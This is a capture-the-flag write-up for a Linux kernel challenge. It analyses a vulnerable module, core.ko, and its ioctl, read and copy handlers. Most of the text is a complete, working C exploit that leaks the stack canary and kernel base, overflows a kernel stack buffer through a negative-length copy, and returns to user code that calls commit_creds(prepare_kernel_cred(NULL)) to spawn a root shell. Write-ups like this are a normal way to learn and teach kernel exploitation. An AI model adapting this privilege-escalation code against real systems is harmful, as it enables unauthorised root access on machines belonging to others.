I solved it without looking at the writeup directly. 🎉

Challenge Files

file: attachment

> ls
bzImage  core.cpio start.sh  vmlinux

After extracting, you’ll see the above files.

Extract the cpio file into the rootfs using the cpio command.

Read the init file.

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

Nothing special, but there’s /core.ko.

Let’s decompile and analyze core.ko.

The important functions are as follows:

  • ioctl function
    • 0x6677889b: Execute read function
    • 0x6677889c: Put argument value into off variable
    • 0x6677889a: Execute copy function
  • read function: Read 0x40 bytes from off distance from local variable and write to user space
  • copy function: Put values in name variable into local variable by argument amount (byte limit bypass possible)
  • write function: Write data from user space to name variable by argument amount

Exploit Scenario

  1. Increase off value through ioctl 0x6677889c
  2. Execute read function through ioctl 0x6677889b -> Leak canary, kernel base
  3. Put ROP chain into name through write
  4. Move name to local variable through copy <- Bypass byte limit with 0xffffffffffff0058

Exploit

The general exploit code was referenced from krop .

#include <fcntl.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <unistd.h>

struct task_struct;
struct cred;

static struct cred* (*prepare_kernel_cred)(struct task_struct *deamon) = (void*) 0x9CCE0;
static int (*commit_creds)(struct cred* new) = (void*) 0x9C8E0;

uint64_t stack[512] __attribute__((aligned(16)));

void shell() {
    system("/bin/sh");
    exit(0);
}

void ret2usr() {
    static struct trap_frame {
        void *rip;
        uint64_t cs;
        uint64_t rflags;
        void *rsp;
        uint64_t ss;
    } tf = {
        .rip = &shell,
        .cs = 0x33,
        .rflags = 0x202,
        .rsp = stack + 512,
        .ss = 0x2b
    };

    volatile register uint64_t RSP asm("rsp");
    commit_creds(prepare_kernel_cred(NULL));
    RSP = (uint64_t) &tf;
    asm volatile(
        "cli\n\t"
        "swapgs\n\t"
        "iretq"
        ::"r" (RSP)
    );
}

int main() {
    char leak[0x50] = {0,};
    uint64_t chain[0x10] = {0,};
    unsigned index = 8;


    int fd = open("/proc/core", O_RDWR);
    if (fd != 3) {
        puts("open error");
        return 0;
    }


    ioctl(fd, 0x6677889c, 0x40);
    ioctl(fd, 0x6677889b, leak);

    for (int i = 0; i < 8; ++i) {
        uint64_t value = *(uint64_t *)(&leak[i * 8]);
        printf("0x%016lx", value);

        printf("\n");
    }


    uint64_t canary = *(uint64_t *)(&leak[0 * 8]);
    uint64_t code_base = *(uint64_t *)(&leak[2 * 8]) - 0x191 - 0xa;
    uint64_t kernel_base = *(uint64_t *)(&leak[4 * 8]) - 0x1dd6d1;

    commit_creds += kernel_base;
    prepare_kernel_cred += kernel_base;
    puts("[LEAK]");
    printf("canary     : 0x%016lx\n", canary);
    printf("code base  : 0x%016lx\n", code_base);
    printf("kernel base: 0x%016lx\n", kernel_base);
    printf("commit_creds: 0x%016lx\n", (uint64_t) commit_creds);
    printf("prepare_kernel_cred: 0x%016lx\n", (uint64_t) prepare_kernel_cred);


    chain[index++] = canary;
    index++;
    chain[index++] = (uint64_t) &ret2usr;

    int written = write(fd, chain, 0x58);
    if (written != 0x58) {
        printf("[ERROR]\n");
        printf("expected 0x58, but %x\n", written);
        return 0;
    }
    ioctl(fd, 0x6677889a, 0xffffffffffff0058);


    return 0;
}

Thoughts

Good

References

krop